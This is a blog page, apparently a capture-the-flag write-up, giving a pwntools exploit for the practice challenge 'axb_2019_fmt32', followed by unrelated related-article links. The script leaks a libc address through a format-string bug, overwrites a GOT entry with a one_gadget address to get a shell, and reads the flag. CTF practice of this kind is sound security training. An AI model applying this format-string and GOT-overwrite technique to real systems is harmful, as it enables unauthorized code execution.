axb_2019_fmt32

迈不过友情╰ 2023-02-28 01:48 135阅读 0赞

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg_size_16_color_FFFFFF_t_70]  
![在这里插入图片描述][20200719131637796.png]

exp

from pwn import *
    
    context.log_level = 'debug'
    
    def debug_pause():
        log.info(proc.pidof(p))
        pause()
        
    proc_name = './axb_2019_fmt32'
    # p = process(proc_name)
    p = remote('node3.buuoj.cn', 27478)
    elf = ELF(proc_name)
    read_got = elf.got['read']
    payload = b'a' + p32(read_got) + b'%8$s'
    p.sendafter('me:', payload)
    read_addr = u32(p.recv(18)[-4:])
    # debug_pause()
    log.info(hex(read_addr))
    libc_base = read_addr - 0x0d4350
    one_gadget = libc_base + 0x3a812
    payload1 = b'a' + fmtstr_payload(8, { read_got: one_gadget},write_size = "byte",numbwritten = 0xa)
    p.sendafter('me:', payload1)
    p.sendline(b'cat flag')
    p.interactive()

![在这里插入图片描述][20200719131455899.png]

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg_size_16_color_FFFFFF_t_70]: /images/20230209/c261e6138ea04770b6f844c5b64d8aec.png
[20200719131637796.png]: /images/20230209/3a2a3b89f305447991a8884207088e8b.png
[20200719131455899.png]: /images/20230209/92b3088c37884dca9748c4caf5046e98.png

发表评论取消回复

表情：

评论列表（有 0 条评论，135人围观）

还没有评论，来说两句吧...

相关阅读

相关 axb_2019_fmt32

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ub

迈不过友情╰/ 2023年02月28日 01:48/ 0 赞/ 136 阅读

相关 fmt.Println、fmt.Printf、fmt.Sprintf、fmt.Sprintln

fmt包实现了格式化的I/O。 1、fmt.Println: 用默认的类型格式将传入的参数写到标准输出参数;字符串和变量之间用逗号间隔，输出：用空格间隔

水深无声/ 2022年08月30日 11:53/ 0 赞/ 141 阅读

相关 jstl fmt

转自http://pangcuiping45.blog.163.com/blog/static/110521080201312232440527/ jstl中的fmt标

迈不过友情╰/ 2022年08月24日 06:14/ 0 赞/ 108 阅读

相关 jstl <fmt:formateDate>

jstl <fmt:formateDate> 2011-02-20 8:07 <table style="width:100%; table-layout:fixed">

野性酷女/ 2022年06月14日 00:36/ 0 赞/ 95 阅读

相关 fmt:formatNumber 使用

<fmt:formatNumber value="12" type="currency" pattern="＄.00"/> －－＄12.00 <br/>

痛定思痛。/ 2022年06月03日 10:35/ 0 赞/ 119 阅读

相关 golang fmt用法举例

下标与参数的对应例子如下： package main import ( "fmt"

偏执的太偏执、/ 2022年06月01日 04:57/ 0 赞/ 177 阅读

相关 JSTL-fmt标签库

formatting标签库:就是用于在 JSP 页面中做国际化格式化的动作分为了两类，分别是：

超、凢脫俗/ 2022年05月22日 05:44/ 0 赞/ 127 阅读

相关 <fmt:formatNumber> 使用

<fmt:formatNumber value="12" type="currency" pattern="＄.00"/> －－＄12.00 <br/>

客官°小女子只卖身不卖艺/ 2022年04月17日 06:17/ 0 赞/ 97 阅读

相关 JSTL-fmt标签库

formatting标签库:就是用于在 JSP 页面中做国际化格式化的动作分为了两类，分别是：国际化核心标签:<fmt:setLocale>、<fmt:bundl

水深无声/ 2021年11月01日 04:12/ 0 赞/ 317 阅读

相关 Linux fmt命令

Linux fmt命令用于编排文本文件。 fmt指令会从指定的文件里读取内容，将其依照指定格式重新编排后，输出到标准输出设备。若指定的文件名为"-"，则fmt指令会从标准...

灰太狼/ 2020年05月26日 13:32/ 0 赞/ 554 阅读